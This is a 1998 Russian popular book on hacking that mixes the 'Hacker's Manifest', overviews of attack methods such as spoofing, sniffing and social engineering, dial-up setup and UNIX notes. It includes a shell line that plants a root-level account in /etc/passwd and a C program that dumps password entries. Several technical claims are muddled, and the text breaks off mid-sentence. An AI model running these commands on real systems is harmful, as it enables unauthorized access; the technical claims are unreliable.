Борис Леонтьев. Хакеры, взломщики и другие информационные убийцы

---------------------------------------------------------------

© Copyright Борис Леонтьев

Home page: http://members.rotfl.com/bobleon/ ‹ http://members.rotfl.com/bobleon/

Email: bobleon@uniinc.msk.ru

---------------------------------------------------------------

ББК 32.973

УДК 681.3

Главный редактор

Дмитрий Царик

Корректор

Ирина Царик

Художник-дизайнер

Борис Леонтьев

Леонтьев Б.

Л80 Хакеры, взломщики и другие информационные убийцы. -- М.:

Познавательная книга, 1998. -- 192 с.

ISBN 5-88548-067-2

Очевидно, что смысл Сети сетей состоит в разумности ограничения круга

пользователей того или иного сервера. Если подобный сервер закупорен

полностью, то и работать может с ним лишь тот, кто его закупорил. Поэтому,

любая компания, прежде чем принять решение о вступлении в сообщество

Internet, дает себе отчет в том, что существует возможность проникновения в

свой главный сервер неких посторонних лиц. Вот эти посторонние лица и

называются хакерами...

Copyright й Борис Леонтьев, 1998.

Copyright й Издательство "Познавательная книга плюс", 1998.

Copyright й Design Studio M&C, 1998. Оформление серии и этой книги.

Copyright й Издательство "Утро" совместно с фирмой "Олег и Павел",

1998.

Авторские права на настоящую книгу, название серии "Кратко, доступно,

просто" и оформление самой серии принадлежат Борису Леонтьеву. Полное или

частичное копирование книги, а также публикация других рукописей в рамках

этой серии без разрешения правообладателя является нарушением авторского

права и может иметь юридические последствия в соответствии с действующим

законодательством.

Вся информация, опубликованная в этой книге представлена в

исключительно образовательных целях, а также для повышения квалификации

программистов, системных администраторов и провайдеров Internet. Автор

предупреждает читателей этой книги, что он не несет никакой ответственности

за те последствия, которые могут возникнуть в результате проведения

экспериментов с предоставленной информацией.

Все названия продуктов, упомянутые в этой книге, являются товарными

знаками или зарегистрированными товарными знаками соответствующих

организаций.

Программное обеспечение, описанное в этой книге, поставляется

исключительно по лицензионному договору и может использоваться или

копироваться только в соответствии с условиями этого договора. Копирование

этого программного обеспечения на какой-либо носитель информации, если на

это нет специального разрешения по лицензионному договору, является

нарушением Закона Российской Федерации "О правовой охране программ для ЭВМ и

баз данных" и норм международного права.

ЛР No 069954 от 01.12.1991 г. Сдано в набор 06.07.98. Подписано в

печать 06.09.98. Формат 60X84/16.

Бумага типографская. Гарнитура "Newton". Печать офсетная. Физ. печ. л.

12. Тираж 5 000 экз. Заказ 48.

**Hacker's Manifest**

This is our world now... the world of the electron and the switch, the

beauty of the baud.

We make use of a service already existing without paying for what could

be dirt cheep if it wasn't run by profiteering gluttons, and you call us

criminals. We explore...and you call us criminals. We exist without skin

color, without nationality, without religious bias...and you call us

criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us

and try to make us believe it is for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that

of judging people by what they say and think, not what they look like. My

crime is that of outsmarting you, something that you will never forgive me

for. I am a hacker and this is my manifesto. You may stop this individual,

but you can't stop us all... after all, we're all alike.

**Кто такие хакеры**

Очевидно, что смысл Сети сетей состоит в разумности ограничения круга

пользователей того или иного сервера. Если подобный сервер закупорен

полностью, то и работать может с ним лишь тот, кто его закупорил. Поэтому,

любая компания, прежде чем принять решение о вступлении в сообщество

Internet, дает себе отчет в том, что существует возможность проникновения в

свой главный сервер неких посторонних лиц. Вот эти посторонние лица и

называются хакерами.

Да, хакеры -- это те, кто взламывают сети.

Делается это разными способами. Например, через порт терминала или порт

электронной почты.

Выбрав жертву, хакер прежде всего определяет, имеются ли на сервере

плохие пароли, плохо настроенный софт или испорченная операционка. Затем

выбирается метод собственной безопасности. Самый распространенный способ

проникнуть в сеть так, чтобы остаться незамеченным -- это взлом по цепочке.

Существуют тонны программ, посредством которых компьютер может вести

поиск пароля через перебор некоторого словаря имен. Сложнее вскрыть сеть,

если пароль логина имеет больше шести символов, чувствителен к регистру или

содержит цифры.

Но! В настоящее время многие сети открывают к себе доступ через

автоматическое прохождение системы паролей. Эта система построена на так

называемом файле паролей. В этом файле перечисляются доступные компьютеры и

пароли сети. Что делает хакер? Он вламывается в сеть и скачивает этот файл.

Все!

Другой способ взлома -- взлом через отладочные переключатели

операционных систем. Как известно эти переключатели могут иногда находиться

во включенном состоянии. Кроме всех этих вышеперечисленных приблудов,

конечно же, широко используется предварительная вирусная атака.

Взломав сеть, хакер заметает следы и уничтожает всю компрометирующую

себя информацию. И через некоторое время сматывается.

Любой квалифицированный хакер через обыкновенный факс-модем может

проникнуть даже в компьютер правительственного учреждения и, при желании,

настолько внедриться в любую как бы то ни было защищенную систему, что

просто-напросто разрушит ее. Так оно и было. Достаточно вспомнить

злополучный сегмент Milnet сети сетей и всем известную лабу Rome ВМС США.

Да, это был настоящий кошмар, когда один из этих чудаков-хакеров творил

безобразия в течение недели на одной из самых секретных военных баз Америки!

Вскрыть сеть можно и с помощью обыкновенного факс-модема или даже

факс-аппарата. Ведь в любой достаточно крупной компании факс подключен к

LAN! А это значит, что через номер факса хакер открывает доступ к заветному

шлюзу. Любой более или менее серьезный (или даже несерьезный) хакер Internet

ориентируется на локальную сеть. Ему интересен софт защиты от

несанкционированного доступа. Он спит новыми версиями firewall. Он смеется

при упоминании дурацкого "брандмауэр". Sun! Sun! Sun! На мир Робин-Гудов

надвигается шерифовский Sun! Все! Все погибли! Все хакеры стали системными

администраторами! Они исправились. Они больше не будут...

Да-да, системные администраторы утверждают, что именно брандмауэр и

есть то самое устройство, размещенное между локальной сетью и Internet,

позволяющее разного рода придуркам отстать от нашего сервера. Вот именно,

что только придуркам. Настоящим придуркам! Лицезреете пакетики для остановки

шпионского трафика? А хакер давно завладел всеми функциями подтверждения

полномочий! На самом деле хакер может сам проверить входные и выходные

данные.

Многие сисады боятся прощупывания их хакерами. И многие знают, что

закупорка пакетов UDP может остановить вскрытие.

Почему? Потому что сработает защита! Да, хакер блокирует пакеты, а

поэтому любые входы через TCP так же блокируются. Но проблема в том, что в

разработке самых умных брандмауэров участвуют те самые хакеры! А почему бы и

нет? Почему бы и не написать код вирусной программы, а потом придумать

соответствующий антивирус! Многие считают, что все-таки существует

возможность вызвать мастера, который поставит стальную дверь с цветным

домофоном. И многие надеются на эти самые брандмауэры Internet. Это далеко

не так. Да, Firewalls способны изолировать локальные сети от вскрытия из

Internet посредством экранирующих маршрутизаторов, двусторонних шлюзов и

барьерной хост-машины. Но! Проблема в том, что это известно каждому хакеру.

Экранирующие маршрутизаторы? Прекрасно! Проверка адреса IP и закупорка

фальшивого трафика? А кто говорит, что это не так? Все верно! Купорим

трафик. А как насчет Telnet и username/password logon?! Terminal Access

Controller Access System? Включайте! Но это стоит больших денег.

Многие компании защищаются электронными карточками. Поэтому их

вскрывают меньше других. Это дело действительно грамотно сконфигурировано.

SecurID Card имеет только тот юзер, который имеет право доступа!

Соответствующая прикладнуха идентифицирует истинность юзера через двойную

проверку счета и персональный код.

Это все, действительно, хорошо, за исключением тех случаев, когда

простой народ подает в суд. Не проще ли, господа, просто повесить трубку?

Пусть всегда будет занято? Или нет?

А многие, ради эксперимента, допускают к своим сетям хакеров. Результат

бывает плачевным. Хакеры проникают в массу секретных систем, получают полный

контроль и делают так, что их никто не может обнаружить в течение долгого

времени.

Хакеры пользуются ошибками софта. Они знают, что система заработает

сама по себе и конфиденциальная информация будет качаться туда, куда ей

необходимо качаться. Бывают, конечно, и "случайные ошибки". А почему бы и

нет? Могут быть в софте такие ошибки. Преднамеренные... Программные

закладки, программные закладки... Хакеры используют их для тех или иных

операций на удаленной машине. Да, действительно, хакеры используют эти самые

закладки в своих межсетевых махинациях! И если ваша система есть узел

коммутации телекоммуникационной сети, то хакеры могут расчленить сеть и

воспользоваться расчлененным файлом паролей. Именно таким образом на Венеру

не полетел космический корабль! Почему? Да потому, что оператор вместо

запятой поставил точку. А как насчет 100 000 долларов, которые были

позаимствованы неким анонимным подлецом во Внешэкономбанке нерушимой

республики свободной?

Хакеры, действительно, могут свести на нет безопасность информации

любого сервера! Кто же они такие? Хорошие программисты? Бывшие системные

администраторы? Обыкновенные студенты? Нигилисты? Оскорбленные юзеры?

Вундеркинды из компьютерной школы?

**Методы хакинга: Спуфинг**

Известно, что любая система защиты типа Firewall позволяет "жить"

только определенным адресам IP. Это весьма серьезное препятствие для

проникновения в сеть. Поэтому хакеры нашли метод для преодоления этого

барьера - спуфинг IP. Сначала хакер выясняет, какие из адресов IP проходят

через firewall, затем использует один из вычисленных адресов в качестве

своего и таким образом получает доступ к системе. Впрочем, это не всегда

так. Например, известная система защиты FireWall-1 действительно дает

возможность установить прозрачное подключение к Internet, используя

практически весь диапазон протоколов межсетевого взаимодействия, обеспечив

при этом некоторую (только в третьей версии этого экрана была залатана

дырка, сидевшая в кодировке данных и идентификации клиента-пользователя)

защиту сети. Многих администраторов, конечно, радует интуитивный графический

интерфейс этой системы, а хакеров пугает многопротокольная проверка пакетов

с так называемым учетом состояния протокола (SMLI), поэтому они стараются

просто обходить сети с FireWall-1, оставив спуффинг для другой системы.

Многие системные администраторы считают, что все-таки существует

возможность вызвать мастера, который поставит стальную дверь с цветным

домофоном. И многие, конечно, надеются на эти самые брандмауэры Internet.

Позволю себе заметить, что это далеко не так. Да, Firewalls способны

изолировать локальные сети от вскрытия из Internet посредством экранирующих

маршрутизаторов, двусторонних шлюзов и барьерной хост-машины. Но! Проблема в

том, что это известно каждому хакеру. Экранирующие маршрутизаторы?

Прекрасно! Проверка адреса IP и закупорка фальшивого трафика? А кто говорит,

что это не так? Все верно! Купорим трафик. А как насчет Telnet и

username/password logon?! Terminal Access Controller Access System?

Включайте!

**Методы хакинга: Сниффинг**

Сеть TCP/IP -- это около 150 дырок, сквозь которые открывается доступ в

систему (TCP/IP -- протокол, через который устанавливается исключительно

обоюдное постоянное соединение). Это так и еще раз так. И в первую очередь

потому, что любой, кто регистрируется в сети TCP/IP (через telnet или ftp)

посылает данные о своем пароле в обыкновенном IP-пакете. Поэтому, чтобы

получить пароль и логин, достаточно выследить подобный пакет, приходящий на

известный адрес, то есть захватить трафик. Далее у хакера будет выбор. Он

может получить реквизиты чайника. Тогда доступ в систему будет ограниченным.

Но если он получит пароль системного администратора, то сможет скачать файл

паролей всех пользователей системы.

Сниффинг - один из самых популярных методов воровства данных в сети

(паролей, имен пользователей, ключей и т.д.) посредством специального

программного обеспечения (так называемых снифферов). Снифферы, как правило,

доступны лишь системным администраторам, так как эти системы весьма дорогие

и не по карману даже самому крутому хакеру. Если сниффер попадает в руки

хекера, то он сможет весьма эффективно контролировать сеть, захватив пароль

и идентификационное имя системного администратора.

Атака посредством сниффинга не предусматривает создание собственного

фальшивого адреса IP для обмана фильтрующей системы адресов. И в самом деле,

зачем нужен фальшивый IP, если замедляется только скорость входящего в

систему потока информации. Это означает, что все можно списать на плохое

качество связи.

Лидер среди всех снифферских лидеров -- это пакет IP-Watcher 1.0:

n выборочное отслеживание пакетов IP.

n захват активного соединения.

n закупорка сетевых соединений.

n закрепление на удаленной системе.

n прерывание активного соединения TCP.

n совместное использование нескольких

соединений.

n невозможность идентификации

n административным мониторингом.

Самый смак пакета IP-Watcher заключается в том, что хакер может

продлить жизнь соединению после его разрыва пользователем. Хакер загоняет

пользователя в ловушку. Сначала он захватывает трафик. Затем рвет связь.

Ждет. Пользователь опять входит в систему и регистрируется. Пароль у хакера

в кармане.

Выборочное отслеживание пакетов IP позволяет, например, перехватывать

только идентификационные данные или файлы любого компьютера, принадлежащие

серверу.

**Методы хакинга: Мусорные бачки**

Хакеры часто исследуют мусорные бачки крупных компаний и иногда находят

счета за телефонные переговоры, внутренние телефоны компании, различные

технические руководства, номера кредитных карточек и т.д.

**Методы хакинга: Ловля на дурачка**

Каждый хороший хакер обладает превосходными навыками в искусстве

пудрить мозги. Например, хакер может заручиться доверием системного

администратора с тем, чтобы получить доступ к секретной информации

посредством простого телефонного разговора, в котором он представит себя в

качестве какого-нибудь техника-смотрителя.

**Методы хакинга: Взлом паролей**

Самый простой путь - интуиция хакера (названия песен, имена актеров).

Более сложный - через специальную программу, которая автоматически ищет

пароль с помощью словаря.

У хакеров имеется огромное количество методов для выяснения паролей и

получения доступа к сетям. Эти методы варьируются от простых (запись в

отдельный log-файл нажатий клавиатуры) до изысканно сложных (дешифрование

огромных баз данных).

**Кошмарные ночи системных администраторов**

Sysad не спит. Он на работе. Он не может спать. А ему так хочется...

Нужно сказать, что в основной своей массе системные операторы --

закоренелые недалекие пользователи. Именно из-за них и происходит

большинство взломов. Нет, не из-за их некоммпетентности, а скорее из-за

хамского поведения этих сетеподобных личностей. Сисасады терпеть не могут

придурковатость обыкновенных юзеров. Они их считают недоучками. А если среди

этих недоучек попался хакер!? Пусть попробуют? Вот люди и пробуют. Пробуют и

у них получается! Сисад смотрит на дисплей. Работает сисад. А машина-то

тормозит. Почему это она тормозит? Нет, не понять это ему. А где же этот

файл? А это, что за папка? Почему этот файл стал больше на сто килобайт!

Боже, какой я дурак! Меня вскрыли! Ма-а-а-а-а-ма!

Нет, сисад не теряется. Сисад умный. Сисад быстро проверяет файл

паролей. Файл паролей! О, май год! Его скопировали! Вот он этот странный

вход. Я нашел! Я же говорил, что нельзя делать столько привилегий! Все, я

погиб... пошла вирусная атака.

И не помнит сисад, что накануне весьма грубо отвечал какому-то дураку

по обыкновенному войсовому телефону. А этот кто-то и оказался тем самым

подлым взломщиком. Хе-хе.

**Доступ к Internet, Windows 95 и**

**Russian Online**

Итак, у вас имеются модемный номер доступа (258-4120), имя домена

(online.ru), subnet mask (255.255.255.0), первый адрес DNS (194.67.1.154) и

второй адрес DNS (194.67.1.155).

Поехали настраивать Windows. Нажимаем **Network**. Выбираем **Configuration**.

Удостоверяемся, что присутствуют **Dial-up Adapter** и **TCP/IP**. Далее,

конфигурируем **TCP/IP Dynamic IP Address**. Теперь конфигурируем

соответствующий драйвер для Windows 95. В папке **Control Panel** щелкаем на

**Network**, далее на **TCP/IP Protocol** и **Properties**. В появившемся диалоге в **IP**

**Address в**ыбираем **Obtain an IP Address automatically option**, в конфигурации

**WINS** выбираем **Disable WINS Resolution** (компания всех провайдерских компаний

Sovam Teleport не обязывает вводить IP-входной номер). Исходя из последних

скобок **Client Microsoft Networks** оставляем без изменений, а в пункте **DNS**

**Configuration** выбираем опцию **Enable DNS**.

Теперь вводим собственный **localname** в поле **Host**, а в поле **Domain**

вписываем доменовское простое и понятое **online.ru**. В поле **DNS Server Search**

**Order** вписываем договорный IP адрес сервера (194.67.1.154) и нажимаем кнопку

**Add**. Поле **Domain Suffix Search Order** оставляем без изменений.

Наконец, нажимаем кнопку **ОК**, перезагружаемся, вновь входим в Windows

95, открываем **My Computer** и щелкаем на иконке **Dial-up Networking**. В **Make New**

**Connection** вписываем любое название иконки. Нажимаем **Configure**, попадаем в

диалог **General** и ставим скорость работы в сети.

Дальнейшие действия должны быть вам понятны. Помните, что в **Server Type**

в поле **Type of Dail-up Server** вы должны выбрать **РРР**. При этом опция **Log on**

**to network** в **Advanced Options** должна остаться неактивизированной! Кроме

всего этого долбанного бреда обратите внимание на опцию **TCP/IP** в **Allowed**

**network protocols**. Эта чудная опция должна быть отмечена.

Далее, конфигурируем модем для автоматического набора в случае, если

линия занята. Из **Dial-up Networking folder** выбираем **Connections**, затем

**Settings** и, наконец, необходимое количество соединений.

Теперь щелкаем на созданной пиктограмме, входим в **Connect to** и вводим

**UserID** в чудаковато-придурковом формате **UserID@online.ru**. Вводим пароль,

нажимаем **Connect**, входим в систему, тыкаем на **F7** и, игнорируя диалог

**Connected to Dial-up PPP**, попадаем в до боли знакомую Сеть.

**Как стать хакером**

Дальше идут шуточки шуточек.

Стать хакером очень просто.

Достаточно выучить и понять: математические дисциплины (математический

анализ, теорию функций комплексного переменного, алгебру, геометрию, теорию

вероятностей, математическую статистику, математическую логику и дискретную

математику), инженерные дисциплины (физику, аппаратные средства

вычислительной техники, основы радиоэлектроники, сети связи и защиту

информации от технической разведки), дисциплины по программированию и

вычислительной технике (информатику, языки программирования высокого уровня,

методы программирования, язык ассемблера, операционные системы, системы

управления базами данных и вычислительные сети), специальные дисциплины

(криптографию и теоретические основы защиты компьютерных систем).

Это достаточно полный список. Но если же говорить о более подробных

хакерских вещах, то вам необходимо знать, что на свете существуют:

n криптографические методы в системах

защиты государственной,

конфиденциальной и коммерческой

информации.

n криптографические методы и средства

защиты и дешифрования информации.

n математические методы расчета

надежности шифрсистем.

n математические модели процессов,

возникающие при защите информации.

n методы решения вероятностных,

статистических и алгоритмических задач

криптографического анализа, синтеза

шифрсистем и криптографических

протоколов.

n методы определения угроз безопасности

информации.

n методы построения математических

моделей защищаемой информации,

шифров и шифрсистем.

n методы преобразования информации

в сетях различного типа.

n методы прогнозирования оценок

криптографической стойкости.

n обеспечение надежности

функционирования аппаратуры

шифрования и тестирования

программно-аппаратных реализаций

криптографических алгоритмов.

n общая методология криптографического

анализа и построения оценок

криптографической стойкости

шифрсистем.

n определение каналов утечки информации

методикой измерения и расчета

параметров опасных сигналов.

n основные положения теории

электрических цепей.

n основные принципы организации систем

и сетей связи и особенности

современных сетевых архитектур.

n основные типы шифров, шифрсистем,

криптографических протоколов и

способы выбора системы защиты.

n особенности разработки и сопровождения

программного обеспечения для рабочих

групп и парапрограммирования.

n принципы построения шифров,

шифрсистем и криптографических

протоколов.

n типовые методы криптографического

анализа и оценивания

криптографической стойкости.

**Хакер или взломщик?**

Многие думают, что смысл существования хакеров состоит в травле

несчастных юзеров Internet. Именно к таким типам, наверное, и относится

Клиффорд Столл, выследивший чудаков из Германии, продававших секретную

компьютерную информацию коммунистам. Наверное, он прав. А вот Роберт Моррис,

автор знаменитого червяка-разрушителя, считает, наверное, по другому.

Что же может сделать простой хакер? Хакер или взломщик? А есть ли между

ними разница? Есть мнение, что многие вирусники как раз и пишут антивирусы.

Значит, есть и хакеры-взломщики или, нет -- взломщики-хакеры. Впрочем, все

равно информационные убийцы. Как же эти убийцы узнают пароли, вторгаются в

Internet и заражают программы на уровне протокола передачи файлов?

Используя особый софт, который вы можете скачать из Internet, вы можете

сами стать хакером. Наберите в Yahoo шизофреническое "crack"...

**Взлом сети**

Возможен, например, с помощью Internet. Достаточно похитить пароль

через удаленный доступ по протоколам FTP или Telnet. В этом случае у хакера

имеется возможность перехватить трафик и с помощью какой-нибудь ищейки

поймать идентификаторы пользователей, а если повезет, то и тонны паролей

того или иного узла. Задача хакера -- получить пароль высокого уровня, то

есть пароль супервизора, и уже с помощью этой информации захватить пароли

всех остальных юзеров узла.

Хакер может войти в сеть в качестве удаленного пользователя под видом

проверки электронного почтового ящика. Как правило, пароли для электронной

почты весьма простые, и иногда поддаются расшифровке с первой попытки.

Хакеры-профи применяют более действенные методы взлома. Речь идет об

угоне соединения TCP. Схема проста. Как только реальный юзер

идентифицируется узлом, хакер переключает соединение на себя и передает в

циклическом режиме по TCP ряд цифр до тех пор, пока не получает

последовательность номеров, через которую можно подойти к середине сеанса

связи, а затем отконнектить юзера. То есть, хакер не тратит зря время на

ломку весьма сложной системы шифрования или раскодировку сеанса регистрации.

Нет! Хакер угоняет весь сеанс регистрации.

Хакер может также воспользоваться ошибками программного обеспечения

выбранного узла. Ошибки кодов софта, обслуживающего удаленных юзеров -- это

беззащитные дырки. Например, знаменитый Netscape Navigator без

конфигурирования защитных параметров или пиратская программа для чтения

электронных сообщений, или сценарии (о них читайте ниже) CGI со свободным

входом.

Возьмем, например, знаменитую Microsoft и ее детище Windows. Многие

применяют стек TCP/UP этой системы. Каждому же хакеру известно, что

динамическая библиотека данных, отвечающая за этот стек, написана, мягко

говоря, некорректно, то есть, при большом желании хакер может по любому из

протоколов семейства TCP/IP получить доступ к содержимому винчестера

выбранного хоста.

**Действия системного администратора на хакерские прибамбасы**

n уничтожение подозрительных экаунтов.

n мониторинг системы.

n чтение чужой электронной

корреспонденции.

n отключение ARP.

n построение сети без NFS.

n использование машины без NetBIOS

над TCP/IP.

**Шлюзовой интерфейс CGI-BIN**

В подавляющем числе удаленных компьютеров каталог CGI-BIN

зарезервирован для исполняемых файлов. Это означает, что файлы из этого

каталога могут быть запущены через Web. Обычно в этом каталоге хранятся

сценарии на языке PERL, которые запускаются на удаленном сервере

Web-программой CGI (вы просто нажимаете кнопку Submit, которая

сформирована кодом формы HTML, написанным для исполняемой программы CGI). В

этот каталог, при большом желании, можно поместить и другие файлы, имеющие

такое же отношение к общему шлюзовому интерфейсу, как и Билл Гейтс к

созданию UNIX.

Гипертекстовый язык предоставляет только информацию для чтения, то есть

модифицировать Web-страницы может лишь их автор. Но! Используя общий

шлюзовой интерфейс CGI, можно добавлять некоторые операторы HTML в

сгенерированную страницу. Это означает, что вы можете запросить информацию у

Web-сервера, затем запустить поисковый софт и получить то, что вы хотите. Вы

просто вставляете нужные вам операторы гипертекстового языка в существующую

Web-страницу. Ваша задача -- найти Web-сервер, который использует CGI и тем

самым способный запускать различный софт.

Файлы общешлюзового интерфейса -- это не обыкновенные текстовики, это

вполне полноценный софт (в частности, когда вы блуждаете по Web, вы

используете CGI). Софт этот (как правило, код пишется на языке сценариев

Perl -- Practical Extraction and Report Language) хранится в каталоге

CGI-BIN нужного вам сервера Web. Хакер взламывает сервер, находит этот

каталог, запускает программу CGI, передает ей подготовленные им данные, она

их обрабатывает, возвращает на броузер хакера результат и, наконец,

преобразовывает уже свои данные в нужную хакеру гипертекстовую страничку.

Как это делается? Хакер нажимает Submit и броузер начинает работать

согласно инструкциям оператора ACTION таким образом (происходит передача

ключей и значений), что удаленный компьютер запустит сценарий из удаленного

каталога CGI-BIN. К исполняемым файлам каталога CGI-BIN доступ неограничен.

Поэтому, к примеру, хакер может поместить в этот каталог программу чтения

файлов паролей или небольшую приблуду, позволяющую заменять файлы.

**Демоны команд**

Если вы хотите установить связь с удаленным компьютером и запустить на

нем демона команды finger, то попробуйте вставить вместо name символ кваквы,

а после кваквы указать имя удаленного компьютера или его IP-адрес (имеется

ввиду Telnet). Хакер через эту же квакву может запустить демона какой-нибудь

другой команды. Речь всего-навсего идет о синтаксисе некоторых команд.

**Телнетимся и еще раз телнетимся**

Многие знают, что telnet используется для:

n регистрации на удаленном компьютере.

n использования софта Internet, в том

числе клиентских программ на

удаленном компьютере.

n запуска любого доступного софта на

удаленном компьютере.

Хакер обращает внимание на последний из вышеперечисленных фактов и на

нижеследующие телнетовские сайты:

anarchy-online.com

ntiabbs.ntia.doc.gov

l0pht.com

sfpg.gcomm.com

telnet lust.isca.uiowa.edu порт 2600

pcspm2.dar.csiro.au

prince.carleton.ca порт 31337

**Любимые хакерами команды UNIX**

Ниже мы приводим краткое описание команд UNIX, без которых этой

операционной системой никто бы не пользовался.

**at**

Вы указываете день/час когда выполнится команда.

**batch**

Выполнение команд в процессе загрузки.

**chmod**

Этой командой вы можете изменить полномочия файлового доступа.

**chown**

Был у файла один хозяин, а стал другой.

**cron**

Это демон таймера, точнее демон команд

batch и at.

**crontab**

Вы можете указать промежутки времени, в течение которых будут выполнены

какие-либо команды.

**ftp**

Работаем с удаленным компьютером. Принимаем или пересылаем файлы.

**kill**

Послать некоторому процессу сигнал о конце работы.

**logname**

Хочу получить регистрационное имя.

**mail**

Прием или пересылка электронных сообщений.

**news**

Отобразить статью из конференции Usenet.

**nslookup**

Получить сведения об IP-адресе домена.

**passwd**

Создать/изменить пароль.

**ps**

Просмотреть, какие процессы в текущий момент времени активизированы.

**pwcheck**

Этой командой вы можете проверить файл паролей. По умолчанию этот файл

лежит в каталоге /etc/passwd.

**rm**

Стереть файл или каталог.

**sleep**

Не выполнять команду в конкретный промежуток времени.

**su**

Умело используя эту команду, хакер может стать привилегированным

пользователем.

**telnet**

Доступ к удаленному компьютеру.

**umask**

Если вы только создаете файл, то этой командой вы можете задать так

называемую маску полномочий этого файла.

**uucp**

Копируем файлы из одного компьютера UNIX в другой.

**uuname**

Отобразить список хостов UUCP.

**uux**

Выполнение команд UNIX на удаленном компьютере.

**who**

Отобразить список текущих пользователей.

**whois**

Получить информацию о текущем пользователе.

**write**

Переслать записку текущему пользователю.

**Кого взламывают в UNIX**

В мире хакеров и киберпанков существует небольшая градация юзеров UNIX.

n Technical Thug. Обычно системный

программист, пишущий скрипты на sed,

C, awk, perl и APL.

n Administrative Fascist. Законченный

тунеядец, вынужденный стать системным

администратором UNIX.

n Maniac. Взломщик с большим опытом.

Правда, его талант в области

компьютерного шпионажа не

оплачивается ни Мосадом, ни Кубой.

n Idiot. Обычно кретин или старый

программист на Коболе, выбранный

системным администратором

Международным Комитетом кретинов.

**Лазейка, возникающая при передаче файлов через rcp**

Если параметр rcp утвержден в файле config.tel, то это означает, что

открыт доступ в систему из Internet.

**Новый экаунт**

Чтобы создать новый экаунт, хакер использует следующую конструкцию:

# cd /home;

mkdir "Bob's home directory"# echo "Bob Leontyef:

gandalf:0:0::/dev/tty:compress -f" > /etc/passwd

Он может также написать сценарий на Perl, который создает исходный

каталог и копирует данные в /etc/passwd, /etc/shadow и /etc/group.

**Файл паролей**

Доступ к файлу паролей может быть даже у простого пользователя. В

стандартном UNIX файл паролей находится в каталоге /etc/passwd. В других

системах этот файл может находиться в другом месте. Кроме того, файл паролей

может быть скрытым.

Пароли в этом файле зашифрованы. Расшифровкой или извлечением

занимаются специальные программы. Именно они и предоставляют в руки хакера

самый главный пароль -- суперюзера root.

В файле паролей содержатся семь идущих по порядку вещей:

n Username

n Encrypted password

n User number

n Group Number

n GECOS Information

n Home directory

n Shell

Например, файл паролей из /etc/passwd может быть представлен в

следующем виде:

bob:5fg63fhD3d5gh:9406:12:BobLeontyef:/home/fsg/will:/bin/bash

Эта запись переводится так:

n Имя пользователя: bob

n Расшифровка пароля: 5fg63fhD3d5gh

n Номер пользователя: 9406

n Номер группы: 12

n Информация GECOS: Bob Leontyef

n Каталог по умолчанию: /home/fsg/will

n Shell: /bin/bash

Unix-пароли расшифровываются только одним способом. Специальная

программа расшифровывает текст, который вводится в поле password и

сравнивает этот текст с формой дешифровки. Поэтому софт, крякающий пароли,

использует коллекцию различных слов или словари. Каждое слово в таком

словаре расшифровывается и сравнивается с формой encrypted поступающего

пароля.

Лучшая крякалка паролей для Unix -- Crack by Alec Muffett, для DOS --

CrackerJack.

В UNIX широко применяется система скрытых паролей: область /etc/passwd

заменяется специальным символом, а метод расшифровки хранится в отдельном

каталоге, который доступен только пользователю root. Атака на многие скрытые

пароли осуществляется через специально написанную программу, которая

использует последовательные запросы к getpwent, например:

#include

main()

{

struct passwd \*p;

while(p=getpwent())

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw\_name, p->pw\_passwd,

p->pw\_uid, p->pw\_gid, p->pw\_gecos, p->pw\_dir, p->pw\_shell);

}

**Маленький исходник для скрытого файла паролей**

#include

main ()

{

struct passwd \*p;

while(p=getpwent ())

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw\_name, p->pw\_passwd,

p->pw\_uid, p->pw\_gid, p->pw\_gecos, p->pw\_dir, p->pw\_shell);

}

**Конфигурация Linux и подключение к удаленному узлу**

Скрипт удаленного подключения лежит в /usr/local/sbin/initppp. Далее

идут конструкции:

#!/bin/sh

PPPD = "/usr/sbin/pppd"

$(PPPD) connect '/usr/sbin/chat -v "" ATZH0Q0M1 OK ATDT3560100 \

CONNECT "" ogin: Suserid word: "`cat /etc/ppp/password`"' \

/dev/modem 115200

Файл в /usr/sbin/pppd является стандартным, таким как /dev/modem.

Например, /dev/cua1. Установка опций для модема проходит через команду ln

-sf /dev/cua1 (для первого коммуникационного порта).

Файл паролей лежит в /etc/ppp/password. Через скрипт хакер может

изменить пароль так: `cat/etc/ppp/password`.

**Network Information System или древние желтые страницы UNIX**

UNIX NIS позволяет нескольким компьютерам сети иметь различный уровень

доступа к конфигурационным файлами. Если атакуемая версия UNIX использует

NIS, то хакер получит файл паролей /etc/passwd с очень короткой строкой,

типа вот этой:

+::0:0:::

Чтобы увидеть действительный файл паролей хакер использует команду

ypcat passwd.

**Таинственный знак после запятой**

Этот знак соответствует времени хранения пароля. Это означает, что

пароль в определенный момент времени может быть заменен пользователем после

системного администратора. Пароль перед заменой может еще храниться

некоторое время. Типичная запись /etc/passwd с данными о времени хранения

пароля:

bob:5fg63fhD3d,M.z8:9406:12:BobLeontyef:/home/fsg/will:/bin/bash

Обратите внимание на запятую в области дешифровки пароля. Знак после

запятой используется только механизмом хранения пароля.

Таким образом, символы, соответствующие данным времени хранения пароля

для вышеприведенного примера, будут такими:

M.z8

Эти четыре символа интерпретируются следующим образом:

Максимальное число недель, в течение которых пароль не может быть

изменен.

Минимальное число недель, в течение которых пароль должен

использоваться перед заменой.

Отметим три важные вещи. Если первые и вторые символы установлены как

"..", то пользователь будет вынужден изменить свой пароль в следующий раз. В

этом случае программа passwd удалит данные о хранении пароля.

Если третий и четвертый символы установлены как "..", то пользователь

будет вынужден изменить свой пароль в следующий раз. Данные о времени

хранения пароля будут соответствовать первым и вторым символам.

Если же первый символ (MAX) меньше чем второй символ (MIN), то

пользователю вообще не позволяют изменить пароль (только root может его

изменить).

Заметим, что хакер не может командой su изменить данные о времени

хранения пароля.

**Доступ к файлу паролей системы VMS**

В VMS файл паролей есть

SYS$SYSTEM: SYSUAF.DAT

Однако, в отличие от пользователей UNIX, большинство пользователей VMS

не имеет доступа даже к чтению этого файла. Хакер может взломать пароль VMS

только через специальную программу, которая использует функции SYS$GETUAF

для сравнения результирующих расшифрованных слов с расшифрованными словами,

полученными из данных SYSUAF.DAT. Две такие программы следующие:

CHECK\_PASSWORD и GUESS\_PASSWORD.

**Взлом по методу Бивиса и Батт-Хэдда**

Это один из приемов угадывания пароля. Хакер входит в сеть. Перед ним

поля данных для ввода логина и пароля. Что он делает? Оставляет эту сеть в

покое. Он входит в эту же сеть по другому пути. Через ту сеть, к которой у

него есть доступ. Он телнетится с определенного адреса IP и запускает

программу-взломщик, которая подбирает (запускает на удаленном компьютере

